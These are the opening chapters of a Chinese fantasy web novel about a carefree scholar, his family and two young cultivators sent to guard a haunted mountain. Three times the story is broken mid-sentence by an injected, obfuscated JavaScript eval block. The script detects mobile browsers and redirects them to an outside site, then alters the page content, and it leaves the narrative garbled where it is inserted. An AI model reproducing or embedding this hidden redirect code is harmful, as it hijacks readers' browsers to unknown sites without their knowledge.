《天降小神仙》 1. 暮春初见 白家大少爷天不怕地不怕,只怕老娘的三尺戒棍。 他出生那年,挑了个吉月吉日吉时辰从娘胎里滑出来,“哇”的一声,哭出个白鹤绕高梁,红霞落满堂的祥瑞。 白家人抬头一看这般奇景,以为生出个转世神仙来,纷纷跪在院中叩首,感谢太上老君庇佑、观世音菩萨显灵,只有他爹偷溜进产房,关照虚脱了的神仙他娘。 临到取名,他爹希望儿子能随心所欲,赐名为栩,他娘希望孩子万事顺遂,取字为锦爻。 白栩从小被爹娘当成状元来养,六岁倒背四书五经,十岁提笔成赋,十三岁被招至殿前,写贺寿长诗五首,博得龙颜一悦,十六岁名满江州,成为众人口中赫赫有名的才子。 若他不负众望金榜题名一步登天,带着白氏子弟走向荣华富贵,白氏族谱都得单开一本,专门记录他彪炳千秋的丰功伟绩。 奈何事不遂人愿,白栩随了他老爹的性子,犹好闲云野鹤、无拘无束的生活,既无澄清天下之志,又不愿沉沦官场之间,对功名利禄不屑一顾。 眼看着春闱将至,进京赶考的子弟陆陆续续从江州出发,白老娘打心底着急,日日催着白栩赶紧启程。 白栩拒不从命,为此挨了不少毒打。 他不从仕这事,只有白家人自己知道,各地的达官显贵并不知情,他们以为白栩定会考取功名,青云直上,争先恐后地来巴结。 春闱刚一结束,五湖四海的拜贴和贺礼接二连三送到白府门口。 白栩赶走所有送礼的小厮,一把火烧了所有的拜贴,爽利地退回送来的宝物,惊世骇俗地向世人宣告他江州第一才子,此生不为官。 白老爹佩服儿子的洒脱,白老娘气得七窍生烟,险些两眼一翻倒地长眠。 白栩为此足足挨了三顿棍棒伺候,伤痕累累地跪在祠堂,三天三夜滴水未进。 要问白老娘为何执意要白栩为官,说起来实在惭愧——为了名声。 天下玄门聚一堂,最看中的就是个名声,闯荡江湖说出去好听,立个牌匾挂门口有面,白家位列天下玄门三首之一,自然要拿得出叫人臣服的本领才能站得住脚。 当年白家老爷子——白栩爷爷白青山掌权之时,白家如日中天,凭着一套桃花剑法与定山神诀冠绝天下。 只可惜白家只在白青山手里显赫一时,自从白栩他爹出生,白家江河日下,其因既非外扰亦非内乱,只因白家小儿子天生是个武痴。 此“痴”非“痴迷”之意,乃“白痴”之“痴”也。 说白了,就是个不会武功的草包。 白青山一世名声葬送在儿子手里,怒其不争又无可奈何,幸亏这小子生得英俊潇洒风流倜傥,入了莫家小女儿莫兰萱的法眼,不然这孽子,不要也罢。 莫家不仅在玄门众列中排得上号,还有能人在朝中为官,属于游走在朝堂和江湖的中间户。 莫兰萱虽为女儿身,却精通武学,白青山不吝赐教,把一身绝学传给了她。 莫兰萱为了不让白老爷子留遗憾,悉心教导自己的两个孩子,盼望他们能修成大道,光耀门楣。 只可惜天算不如人算,白老爹那副草包德行,被白栩分毫不差地全继承了去。 他爹当年满脑子秘籍而不讲操行,属于纸上谈兵那一挂,到了白栩,干脆连脑子里那点学问也抛了去,凡是和修行沾边的,向来半点不碰。 莫兰萱几番逼迫,都以失败告终,又见其颇有才学,想着习武不行便从文,请了个老儒生给白栩讲圣贤书。 她心想若白栩顺利登上仕途,身居高位,一人之下万人之上,纵使是个孱弱的草包,也能给白家带来万古不朽的好名声。 可惜,她的算盘再一次落空,白栩这一把熊熊大火,烧光的不仅是拜帖,亦是莫兰萱一颗盼子成龙之心。 慰藉的是,女儿白珏颇具武学经才,莫兰萱重振旗鼓,悉心教导女儿,将白家的功法一一传给了她。 自此重振白氏荣光的担子,压在了白珏身上。 白珏比白栩大了三岁,十四岁那年自认为应该在江湖上闯出点名声,一走就是八年。 她很少回家,偶尔寄封家书报平安,能让她快马加鞭赶回家的,只有他那个便宜老弟了。 白栩这次真把娘给气狠了,莫兰萱急火攻心,不但打得狠,罚得也重。 白老爹两边都心疼,吹了三天三夜枕边风,就差把嘴皮子磨破了,也没换回莫兰萱一点心软。 他只好求助外援,千里传音给白珏送去了消息。 白珏连夜启程,第二天一早就赶了回来。 白栩在祠堂里昏死过去,身体又冷又僵,她几个大耳光抽下去,才把白栩扇回阳间。 一见到是亲姐,白栩哇地一声哭了起来,他没力气,哭得声音小,只有眼泪汩汩地往外流,受尽了委屈似的。 白珏给他擦干泪,扛回了屋。 养伤期间,白珏难得在家里长住。 白栩足足养了一个月才敢下床走路,臀背上的伤没好利索,干啥都费劲,走哪都得带着个软垫。 白珏瞧白栩每日除了吃就是睡,再来就是贫嘴找打,寻思着邀请他和自己一起上山学武,说了几次,全被白栩打马虎眼糊弄过去。 白栩从小就对舞刀弄枪不感兴趣,谁知道他姐怎么会喜欢打打杀杀,人家的姐姐都是窈窕佳人,巧笑倩兮身姿绰约,他姐这个魁梧的女人,虽然长着张灵俏的脸,个头却比平常女子高,还总好男子装束,美其名曰“方便、耐脏”,任由家里的珠钗长裙落灰。 他俩站一起,不知道的还以为是兄弟。 “你真不跟我上山,我师父武艺高强,你去学个一招半式也是好的,这么大个人了,别整天窝在家里发霉。” 白栩不屑地哼了一声:“我早产了两个时辰,身子骨虚弱,手上没劲儿,提不动你们武人使的那些刀剑。” 这算哪门子的早产?分明是为不去学武找的破烂借口。 白珏被气笑了,使了个寸劲儿,用剑鞘猛地戳向白栩还没养好的屁股——那里可是他娘下死手的地方,没一块肉是好受的! 白栩一个激灵弹射起身,疼得龇牙咧嘴嗷嗷乱叫,捂着屁股指着白珏大骂:“白步月!你这个粗鲁的莽汉!欺人太甚!” 白珏不善拌嘴,直接武力教训,于是旧伤未好白栩又平白无故给自己讨了顿打,再添新伤。 白家大少爷天不怕地不怕,只怕老娘的三尺戒棍—— 如今得添上他姐的霹雳无敌冷酷无情剑了。 两人正打闹着,白老爹拎着只刚烤好的烧鸡信步走来。 “别闹了,来吃好吃的。” 无事献殷勤—— 白栩和白珏对视一眼,谁也没动烧鸡,直勾勾地盯着老爹看。 白老爹被看得心虚,挠挠鬓角,如数交代:“明日段家公子要来江州,你俩去渡口接一下,我要帮你娘准备迎客的酒菜,空不出身。” “段家要来了——日子过得真快啊。”白珏感慨。 白老爹拆开油纸包 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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不过他哪里能抢得过身手了得的恶霸,别说鸡翅,大半个烧鸡都进了白珏的肚子。 白栩啃着剩下的残肉,欲哭无泪。 且说为了迎接段家公子,白老爹特意嘱咐姐弟俩明早卯时醒来准备,白栩十分爽快地应下。 翌日辰时三刻被老娘揪着耳朵从被窝里拖出来时,他半醒的脑袋里除了震惊还有硕大的疑惑,全然不记得昨日应下了什么差事、许了什么诺。 白栩什么德行,白老娘心里明镜儿似的,若她卯时见着白栩穿戴齐整踏出白府大门,那才是活见鬼。 她弓着身子直盯着白栩,唇角带笑,声音和蔼:“锦爻,你爹没和你说今早要去接段家公子?” 白栩一下子睡意全无,吓得捏着被角浑身颤抖,恨不得把自己缩进被缝儿里去。 此刻他娘活像一只笑眯眯的老虎,那笑里藏着明晃晃的刀。 “告诉了……”他小声回答,蔫巴巴地问,“我姐呢?” “她师父半夜传信叫她回去,不到寅时就走了。” “哦……” 白栩蹑手蹑脚地掀开被子,顶着老娘锋利的目光,手忙脚乱地套上衣服洗漱。 他随意披了件青色长衫,头发一拢高束起来,拎起桌上摆着的酒,风风火火地跑出门去。 莫兰萱目送儿子离开,无奈一笑,俯身整理起床铺。 2. 登堂入室 阳春三月,春风送暖。 定山江上自远处漂来一叶轻舟,船夫站在舟头摇橹,长杆划过水面,荡开一圈圈涟漪。 江面平滑如镜,倒映着远山含黛、白云悠悠,水下暗礁旁有鱼虾轻游而过,激起轻灵水声,三面群山郁郁葱葱,间或有朦胧云雾漂浮其中。 小船慢悠悠地浮在这山清水秀的水墨画卷中,亦成了画中之景。 船舱内,两位仙士相对而坐。 年长的少年看着约有十六七岁,正是段尚清。他在矮小的竹凳坐得笔直,一手按着膝上的青布包袱,一手稳稳握着剑柄,指节因用力而微微泛白。 他面色沉静,端庄肃穆,瞧着一派老成之色,眉宇间却藏着几分未脱的稚气和青涩——不过是因为离家远行,特意绷着劲儿摆出一副大人模样罢了。 身旁的师弟姚靖与他截然相反,只有十三岁,性子活泛得像刚出山的猴儿,一刻也闲不住,隔会儿就要撩开帘挡向外看。 他们坐了许久的船,外头的景色已从水墨绘入丹青,藏在山里的桃树伸出枝丫,含苞的桃蕊透出嫩红,桃树漫山连袂,桃花接连成片,如一笔朱砂浸染开来,将整座山都织进盎然的春色里。 “都说江州乃世外桃源,如今一看,真如仙境一般。”姚靖看入了迷。 船夫笑道:“小公子这话在理!江南百乡,唯我江州的桃花最漂亮,往年一到暮春,山头桃花开得通红一片,比天边的火烧云还要热闹惹眼,那才叫真的好看!二位来得巧,再待上几日就能赶上,还能尝尝我江州独有的桃花酿哩。” 一听见“桃花酿”,姚靖顿时坐不住了,掀帘钻到船头,凑到船夫身边兴冲冲地追问:“您说的,可是天下三大名酒之一的桃花酿?” “正是!”说起自家特产,船夫话可就多了,他爽朗大笑起来,手里的撸摇得更欢了,“我们这桃花酿啊,酒味不冲,桃香浓郁,尝起来还有点微甜。谁家要酿酒,就得赶在桃果最好的时候赶紧摘,拌着粮食酿,红布一封,就近埋在桃树跟底下,等来年开春挖出来开坛,小抿一口舒心,多喝几杯也不伤身。多少外乡酒客就为了尝这一口,特意千里迢迢赶过来,我年年都要拉上好几船呢!” 姚靖听得双眼发亮,仿佛嘴巴里已经能咂摸出那股酒香。 他回头冲舱内喊:“师兄,咱们到了白府能尝到桃花酿么?” 船舱里咚咚几声脚步声响,一只骨节分明的手撩开麻木帘挡,段尚清从船舱里走出来,抬手给了姚靖一个脑瓜崩,“你我此行是为正事,不是游玩。到了白府切记稳重行事,不要贪吃贪玩。” 姚靖一屁股坐在船板上,捂着脑袋满脸不高兴。 “知道了——师兄你就别一再重复了,再听我耳朵里都要长茧子了。” 少年的抱怨声回荡在江面,伴随着小舟渐行渐远,一直驶向远处渡口。 过了定山江,便到了江州腹地若寒城。 渡口的商船、渡舟挤挤挨挨,船工的号子和脚夫的吆喝此起彼伏,热闹得像开了锅。 再往里看就是主干道,十里长街,往来行人络绎不绝,商铺酒楼鳞次栉比,路边的摊位上摆放着琳琅满目的新奇物件,商贩的叫卖花样百出。 一股炊烟混合着香料的融融暖气扑面而来,一扫江面留存的湿气。 二人刚上岸,就听身旁传来一道清亮嗓音,“二位可是广陵来的客人?” 师兄弟对视一眼,一齐回头看去。 来人一袭浅青色长袍,摇着折扇缓步走来,拱手笑道:“在下白栩,受家父之命前来接应二位,马车已备好,请随我来吧。”说罢将手里提着的两小坛酒递给二人,“一点薄礼,不成敬意。” 姚靖眼尖,一瞧见酒坛封口红纸上写着“桃花酿”三字,立马眉开眼笑地接过,“哪里哪里,白公子太客气了,天下名酒桃花酿,岂是微薄之礼?” 相比姚靖的自来熟,段尚清就显得矜持有礼了许多,他的目光在白栩身上微顿,随即颔首还礼,“多谢白公子美意。” “两位兄弟莫要客气,”白栩侧身引路,“马车已备好,请随我来。” 白府离渡口不远,不多时马车便停在了府门前。 一抬眼,广梁朱门上悬着块漆金牌匾,“江州白府”四个大字笔力遒劲。 迈过门槛,前院开阔敞亮,正前方是肃穆的前堂,两侧连着青砖灰瓦的游廊。 青石板铺就的地面上看不见一片杂草落叶。 往内走,廊外石砌的鱼塘泛着清波,花坛里新绿初绽,几株垂柳栽在院角,清风拂过,柳条轻晃如绿帘,挡不住满园春色。 正堂敞着门,几个家丁候在门前。 屋里,白氏家主白道陵正坐在桌前喝茶,见他们来了,笑意盈盈地招手:“快进来。” 进了门卸下行李,段尚清拉着姚靖先对白道陵行礼:“我与师弟此行多有叨扰,还望白老见谅。” 白道陵放下茶盏起身扶起他们,“你这孩子,真是太客气,到了白伯伯这里,就和在自己家一样,不要拘束。” 他宽厚的手掌按上段尚清肩头,“几年不见,出落得这般挺拔俊俏,上一次见你,才刚到我膝头。” 段尚清面色微红,浅浅一笑,“一别十余年,您还是这般丰神俊朗,神采奕奕。” “老啦老啦——”白道陵朗声笑罢,视线转向一旁,“你就是小姚靖吧,这名字真顺口,脸蛋儿也生得水灵,真招人喜欢。” 不夸还好,一夸,这水灵的脸“唰”一下就沸腾了。 姚靖红着脸咬着唇,比大姑娘还害羞,话都说不利索了,结巴道:“我……我也喜欢您!” 堂内顿时哄笑一片,连一旁站桩的白栩都忍不住勾起唇角。 他不禁幻想自己若也有个小弟或小妹,不但能无聊的时候招来寻乐,还能免于夹在母亲和姐姐之间轮番挨欺负……可惜幻想与现实的落差就是这么大。 “都别站着了,先坐,坐下我们再聊。”白道陵招呼众人落座。 段尚清和姚靖规规矩矩地坐在客席,白栩坐在他爹对面的椅子上——那里是专门为他准备的位置,正好能从主桌上的果盘里找吃的。 他随手拿起只果子,用袖子随意擦擦就咬了一口,闲散自在得简直旁若无人。 白道陵早已习惯儿子这副模样,推了杯茶水给他,才转向段尚清谈正事:“你爹该跟你说了此行的缘由吧?” 段尚清坐直身子,“家父说,我与师弟代段家接任守山之责。” “不错。”白道陵捋着长须,反问一句:“关于守山,你知道多少?” 段尚清知无不言:“我们所守之山,名曰绛鹊,坐落于江州若寒城东南方,该山镇有邪祟凶煞,为保江州百姓安全,佐、段、白三大仙家商决各自镇守江州十五年,护一方平安。佐家与白家已守足年岁,往后将由段氏来接任。” 段家小子果然可靠。白道陵呷了口茶,语气沉了些,“那你可知山里的煞是为何物?” 段尚清一怔,惭愧地摇头。 “绛鹊山内有座古庙,庙下埋有千 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17365456|199819||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 具尸骨,我们守山,关键就是守住那座镇邪庙。庙下镇压的邪祟凶狠异常,夺人精魄,吃人血肉,极难收服。早些年佐家守山时,常有精怪出山害人,佐家弟子日日进山打鬼,足足五年才尽数收服,此后虽少有鬼魅出没,但绛鹊山阴盛阳衰之势已成定局,极易滋生其他邪物,后患无穷……孩子,你怕么?” 段尚清目光烁然,斩钉截铁道:“不怕。” 白道陵欣慰点头,“好孩子。今后你们二人就住在白府,其他事我以后慢慢交代。” 段尚清却面露难色:“我来时听闻白氏要举家迁往京城,特意带足了银票,准备向您买下这座宅子,尚清冒昧一问,您准备何时动身?” “咳……” 一旁低头啃果子的白栩突然咳了一声,心虚地捏捏鼻子。 白道陵笑着摸摸白栩的脑袋,“那宅子是为小栩买的,他娘盼着他考功名,早早便置办了田宅,可小栩不愿做官,我便随他了,京城的宅邸先空在那里,等进京游玩之日,还算有个歇脚的地方。” 段尚清眉头微蹙,白伯伯的意思是让他和师弟白吃白住。 纵然两家是世交,纵然白伯伯态度随和,待人宽厚,可寄人篱下,终归受制于人,他不想让自己落到这般境地。 白道陵看出段尚清的心思,又添了一句,“你和小姚靖住在白府,就把这里当成自己的家,无须在意其他,我和你老爹的交情深着呢,帮他养两个小娃娃而已,不在话下。” 段尚清没吭声,侧头瞟了一眼自己的包袱,心意一定,抄起包袱拿出几张银票,躬身送到白道陵面前,“还请伯伯收下。” 一副白道陵不收他便不起身的架势。 白道陵拗不过他,只好抽了最上面一张,“一千两能买我半个宅子,如今你也是白府的主人,这下舒坦了?” 段尚清这才直起腰,紧绷的唇终于舒展开,疏朗一笑道:“多谢白伯伯谅解。” 白道陵瞧着他,心里暗笑:这小子的性格和他老爹真是一个模子里刻出来的,正直又倔强,就认死理儿,天王老子来了也没招。 不过比起他爹张口闭口引经据典、子曰诗云的老古板样,小尚清就显得清爽多了。 毕竟少年人,有朝气是好事。 两人话很投缘,一递一声,相谈甚欢。 白栩在旁有一搭没一搭地听着,有些无聊,抬眼瞟见姚靖捧着酒坛子望眼欲穿,心里一动,捏起个果儿朝他扔去。 姚靖稳稳接住,惊讶抬头。 白栩扬着下巴,冲他粲然一笑,“让他们大人叙旧,我带你去桃林玩。” 他起身走到姚靖身旁坐下,撑着扶手凑身上前,一双桃花眸中映着点点春光,比潭水还清透。 “桃林里有好多桃花酿。” 姚靖一听有好多酒喝,馋得直咽口水。 他眼巴巴地看向段尚清:“师兄……” 白栩指尖勾着姚靖的手腕,在段尚清眼前晃了晃,“段兄,你师弟好生黏你,不如放你的小宝贝和我去桃林玩玩?” 他故意说得暧昧,就想看看这位清冷又古板的小仙士能不能为自己动容。 段尚清的目光从两人交握的手腕滑到白栩脸上,目光清澈坦然,神色温和,语气毫无波澜:“那便谢过白公子照看阿靖了。” 白栩原想逗得他耳根泛红,没料到这人竟接得如此坦荡,指尖的力道不自觉松了松。 他望向段尚清那双清明无波的眼,心神微动。 真是个从天上落下来的小神仙。 3. 鬼打墙 白家后院的桃林连着后山,枝丫交错遮了半边天。 眼下虽未到花期,枝头却长满了蠢蠢欲动的花苞,只待一阵春风吹过,千树万树桃花开。 江州百姓爱酿酒,尤以桃花酿的技艺最为熟稔,白府也不例外,每年晚春的熟桃都作了酿酒的辅料,一年陈一年,年年都有酒喝。 白栩是个实打实的酒痴,从前总偷溜进来挖酒,被老娘抓包了几次后,没了鼠胆,只能眼巴巴地望着桃林唉声叹气。 好在今年姚靖来了,他终于能正正当当地走进桃林,理所应当地挥动铲子,天经地义地开怀痛饮。 酒坛子埋得不深,很好挖,一铲子下去碰到硬东西了,不是树根就是酒坛。 不过陈了三年的桃花酿才是最香醇的,两人忙乎大半天,也只挖出两坛陈酿,根本不够喝。 砸吧完滋味,已是日落西沉,金光普照,燕雀归巢,华灯初上——到饭点儿了。 两人只好遗憾退场,预备再来。 为了给段尚清和姚靖接风洗尘,莫兰萱亲自下厨,做了一桌子拿手好菜。饭桌上谁也没提守山的事,只聊些家长里短的闲篇,连白栩都收起了散漫,听得有滋有味,每个人的脸上都挂着融融笑意。 饭后,下人领着段尚清和姚靖去客房收拾行李,白栩还惦记着挖酒,便颠颠地跟着帮忙。 他的房间离客并不远,于是两地乱窜,一会儿给段尚清搬来盆绿竹,一会儿给姚靖送去个木雕,忙前忙后反倒比谁都精神。 姚靖东西少,收拾得马虎,心里全是桃林的酒,三下五除二就糊弄完了。 两人溜达到段尚清门前,屋里的人正背对着门口整理床铺。 白栩探头进去扫了一眼,只见叠得方方正正的衣袍摆在床角,佩剑和玉饰在桌上陈列规整,一尊掌心大的香台上燃着线香,一旁还摞着圣贤书和心法剑诀。 所有东西都收拾得有条不紊,样样都透着细心周到。 白栩靠在门框上,屈指扣扣门板,“段兄,我带姚靖再去挖酒,你要不要来?” 段尚清转过身,眉宇间带着几分倦意,歉意一笑:“我有些乏了,就不去了,你们不要喝太多酒,夜里凉,多穿件衣服,早些回来。” 比我爹还啰嗦。 白栩轻笑一声,拖着长音回了句:“知道啦——”,立马拽着早就等不及的姚靖直往桃林跑。 下午找藏酒的桃树就费了个把时辰,刨半天也只够解馋。 这会儿夜深人静,无人打扰,正好一心一意开挖。 白栩提了盏烛灯,埋头苦找好一阵,终于挖出来五坛藏酒。 把酒摆成一排,灰头土脸的两人乐得跟捡了宝似的,找了根粗壮树桩并肩坐下,一边喝酒一边天南海北地聊。 两人一见如故,志趣相投,谈天说地,吹牛放屁,一时忘了时辰,等被风吹醒酒时,才惊觉已是月上树梢,夜半三更了。 “糟了,喝过头了。” 姚靖一个激灵直起身,拍拍身边睡意朦胧的白栩,焦急道:“阿栩哥,太晚了,我们赶紧回去吧,师兄该担心了。” “嗯?好……你跟我走……” 白栩揉着惺忪的睡眼,拎着灯晃晃悠悠的站起来。 这桃林极大,又和后山连着,范围不可估量。 林中桃树密集,根本没有正经路,来时全靠钻树干间的缝隙,若非熟门熟路,准得在里头兜圈子。 白栩醉得视线昏花,早就辨不清东南西北,索性凭着直觉带路,走到哪儿算哪儿。 姚靖哪里知道白栩已醉成路痴,只怕段尚清责备,一心想快点回去,步子不自觉放快,扯着白栩飞也似地往前奔。 他们习武的全都脚下生风,白栩一身懒骨头哪里能跟得上,嘴上说着左转右转跟认路似的,实际上跟梦呓差不多了。 二人在桃林里兜兜转转了小半个时辰,别说出去,连来时的树桩都没再见到。 姚靖再怎么神经大条,此刻也觉出不对,他紧紧攥住白栩的手腕,“阿栩哥,我们是不是一直在兜圈子?” 白栩抬眼,四下逡巡一圈,桃林的地形他早已烂熟于心,每棵桃树在他眼里都独具特征,此刻却见四周的树竟长得一模一样,围成一圈,景色重复得诡异。 “怪了……”白栩纳闷不已,回头看向姚靖,“我们……迷路了?” 他讪笑一声,“你师兄这个时辰睡了没?我们叫他来接吧?” 姚靖被他逗笑,“阿栩哥,我师兄来了,我被骂,你也免不了被数落。”他仰天叹了口气,“我师兄训起话来啰嗦至极,不磨得你耳朵长茧,绝不善罢甘休,我就是不想被他唠叨才急着回去,罢了,既然鬼打墙,我们就在桃林里睡一觉吧。” “鬼打墙?”白栩吓一哆嗦,往姚靖身边缩了缩,“这里真有鬼啊?” “捉弄人的精怪而已,不打紧。”姚靖抬手拍拍白栩肩头,“别怕,我保护你。” 白栩摸摸自己的衣衫,略薄,吹一夜冷风必然要闹风寒,他指着姚靖的佩剑问:“你们修道的仙士不是都会御剑飞行么?你带着我飞出去呗?” “如果是我师兄来带你,那肯定没问题,我没信心能在天上护着你。”姚靖抽出自己的佩剑给白栩看,“我这是柄短剑,剑身也窄,有时候连我自己站上去都不太稳,要是你也站上来,恐怕咱俩得一起摔下去。” 白栩瘪起嘴,一屁股坐在地上,“哦……那你有没有能取暖的法子?我穿得少,有点冷了。” 姚靖脱下自己的外衫罩在白栩身上,“我衣服小,你凑合着穿吧。”刚直起身,耳边忽地掠过一声轻笑,极轻,却近得像贴在耳畔,带着股湿冷的阴风,刮得他后颈发麻。 “谁?”姚靖警觉地回头,身后空无一人。 白栩被他吓了一跳,忙问:“怎么了?” 姚靖压低声音道:“有东西在戏弄我们,你别害怕,地上的鬼没几个能奈何得了我的。” 白栩把自己缩成一团,尽量不碍事,祈祷着鬼怪别来捉弄自己,他们修道之人武艺傍身自然不怕,自己一个肉体凡胎怎么打得过摸不着看不见的鬼啊…… 白栩把头埋进膝盖,胸腔内咚咚如擂鼓,正心悬一线之际,一道凄厉尖叫似利刃破风,直刺耳膜。 “啊——!”白栩惊恐地抬起头,“姚靖!” 姚靖显然也听到了,“唰”地掣出长剑,横架身前,厉声喝问:“何人装神弄鬼?速速现身!” 回应他的只有风吹过树叶的“沙沙”声,衬得林子更静,也更诡异。 白栩这下是真怕了,声音都在哆嗦:“我们……我们别在这里待着了,往外走吧,你能破了鬼打墙么?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17365457|199819||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 姚靖从腰间抽出一张符纸,夹在指间,微微一晃,符纸无火自燃,他向前一甩,低声念咒,喝道:“破!” 顿时,四周景色扭曲轮换,不消多时,便变回寻常模样。 月光清透,照亮了桃树旁立着的人影。 “你们两个,大半夜不回府,胡闹什么?” 段尚清面色微愠,走上前来扶起白栩,语气却温和了一些:“姚靖顽劣,你也跟着胡闹。” 姚靖想开口辩解,被段尚清一个眼神瞪回去,乖乖原地罚站。 段尚清把白栩身上那件明显小了一号的外衫解下来扔还给姚靖,把自己手里另外带的一件披在白栩身上。 这衣服上有股好闻的熏香味,很淡,却让人无比安心。 “我们遇到鬼打墙了,还有精怪故意发出叫声吓我们。”白栩蔫了吧唧的,攥紧身上的衣袍,看起来像受了委屈找家长告状。 段尚清伸手轻轻拂去白栩发间的落叶,他眉头微蹙,借着月光仔细打量白栩的脸色,“吓着了?”声音比方才又软了几分。 白栩摇摇头,又点点头,不自觉往段尚清身边靠了半步:“嗯,有点……从小到大没和鬼离得这么近过……” 段尚清叹了口气,抬手自然地揉了揉白栩的发顶,像安抚受惊的小动物:“没事了。” 他转向姚靖,语气和神态又恢复了严肃,“姚天慈,你可做错?” 姚靖缩了缩脖子,“师兄,我错了。” 段尚清从袖中取出个小瓷瓶,倒出一粒白玉似的丸子递给白栩:“安神的,含着。” 见白栩乖乖含下,他才继续道:“能走得了么?走不了我背你。” 白栩忙摆手,“我能走,好在腿没吓软。”说着却不由自主地抓住了段尚清的衣袖。 段尚清没说什么,任由他抓着,只将脚步放慢了些。 月光下,三人的影子拉得很长,白栩的影子几乎要融进段尚清的影子里。 到了房门前,段尚清停下脚步,对白栩道:“我和姚靖去桃林里收鬼,你呆在房间内,今夜就不要出来了。” 他从怀中取出一道符纸,折成三角塞进白栩手中,“压在枕头下,安心睡觉。” 白栩低头看着手中的符纸,上面还残留着段尚清的体温,他忽然觉得鼻子有点酸,抬眼时眸子亮晶晶的:“段兄……” 段尚清似乎被他这声呼唤弄得有些无措,轻咳一声:“怎么了?” “你……你小心点。”白栩憋了半天,只说出这么一句。 段尚清嘴角微微上扬,伸手替白栩拢了拢衣襟:“知道了。快进去吧,夜里凉。”他目送白栩进屋,直到听见门闩落下的声音,才转身对姚靖道,“走吧,去桃林看看。” 姚靖跟在师兄身后,忍不住小声嘀咕:“师兄,你对阿栩哥怎么比对我还上心?” 段尚清头也不回:“他比你懂事。” “他哪里懂事了?明明是他拉着我去挖酒的!” “那你为什么不拦着?” “……” 两人的声音渐渐远去,白栩贴在门后听着,忍不住笑出声来。 他低头看着手中的符纸,小心地压在枕头下,然后整个人钻进被窝,把段尚清的外袍也一起裹了进去。 那淡淡的熏香萦绕在鼻尖,让他莫名安心。 4. 花灯节 次日清晨,露气凝重,天微寒。 有了段尚清的符纸,白栩这一夜睡得很好。 天光大量,姚靖和段尚清还没回来,偌大的院落里只有鸟鸣啾啾,稍显冷清。 西院南角有一石砌的浅水鱼塘,塘中游曳着几尾锦鳞,塘边有一凉亭,专供人赏花看鱼。 白栩拎着茶壶踱步到亭子里,拎起摆在角落的烧火架搁在石桌上,加碳点火。 待壶中的水烧滚开,先扔一把捣碎的茶团进去,再添几片薄荷叶、桔子皮,不消片刻,茶香扑鼻而来。 微苦的茶水带着薄荷与桔皮的清冽,一杯下去,舒坦又滋润,赶跑了朦胧的睡意,预备着一天的精气神。 临近辰时,后门外才有些响动,白栩欠身去看,门外一前一后踏进两个泥人,高的那个还能看出人面,矮的那个简直像刚从泥潭里爬出来,浑身滴着泥水。 白栩忙上前接应。 “怎么了这是?”他实在想笑,又觉得不合时宜,竭力地压着嘴角,以至有些抽搐,可笑意还是爬满了眉眼。 “可累死了。”姚靖哀嚎一声,抹了一把脸上的泥,以为能露出点白面皮,结果只是把泥抹得更均匀,“尽是些小鬼儿,想借绛鹊山的怨气修炼,我和师兄把它们收拾了一顿,这一整晚,就差没给我累没气儿了……” “那你们身上这些泥怎么弄的?” “你家桃林后山居然有个大泥坑!”姚靖气不打一处来,“我和师兄本来都要走了,谁知被个漏网之鬼给冲进泥潭里去了,我一下没站稳,拉了一下师兄……” 段尚清正用身上仅存的干净布料擦拭剑身,看白栩面颊抽动,无奈道:“想笑就笑吧。好在后山那些鬼不是从绛鹊山里偷跑出来的,应该是从附近乱葬岗游荡过来。这些鬼不会伤人,就算不幸被缠身,至多做做噩梦闹闹头痛,除掉的法子很多,不必忧心。” 白栩连连点头,笑着搂着两人的肩往屋子里推,“你们快先沐浴吧。” 他们两人身上全是泥浆,一桶水肯定洗不干净,下人们急着烧水送水,乱哄哄地忙了一早上。 待洗漱干净,也错过了早膳。 段尚清静坐凉亭喝白栩煮好的茶,湿漉漉的长发披散在后背,晨阳斜照,青丝如云。 小厮福生端来热好的包子,姚靖饿极了,大口大口地塞,段尚清环望一圈,没见到白栩的身影。 “白公子呢?” “老爷把大少爷叫去了,不知是嘱咐什么事。” 莫非是询问昨夜之事? 段尚清垂下眼眸。 昨夜闹出那样大的声响,若说白伯伯没有察觉,断然是不可能的。 虽说降妖伏魔本就是段家的守山之责,但自己和师弟毕竟是小辈,不经禀报便贸然出手、班门弄斧,万一做了画蛇添足之事,只怕折损了白伯伯的青睐。 段尚清一向思虑重,姚靖有多大大咧咧,他就有多谨小慎微。 这般个性若放在勾心斗角、尔虞我诈之家,必大有用处,只可惜放在白府,属实多余了。 白道陵叫白栩过去,只是嘱咐他带着段尚清和姚靖好好逛逛若寒城。 白栩就喜欢这等能捞油水的差事,花言巧语地从娘手里要来一袋银子,足足三十两,将绣花钱袋撑得鼓囊囊,直往下坠。 三人的早膳都吃得稀里糊涂,没逛多久便觉出饿意来,白栩大手一挥,宴请他们师兄弟到若寒城最贵的酒楼——携阳楼,去美餐一顿。 携阳楼背靠江州最有名的钱庄,建得那叫一个气派,碧瓦朱甍,鸿图华构,来者非富即贵,白栩才踏进门槛,就觉钱袋瘪了下去了不少。 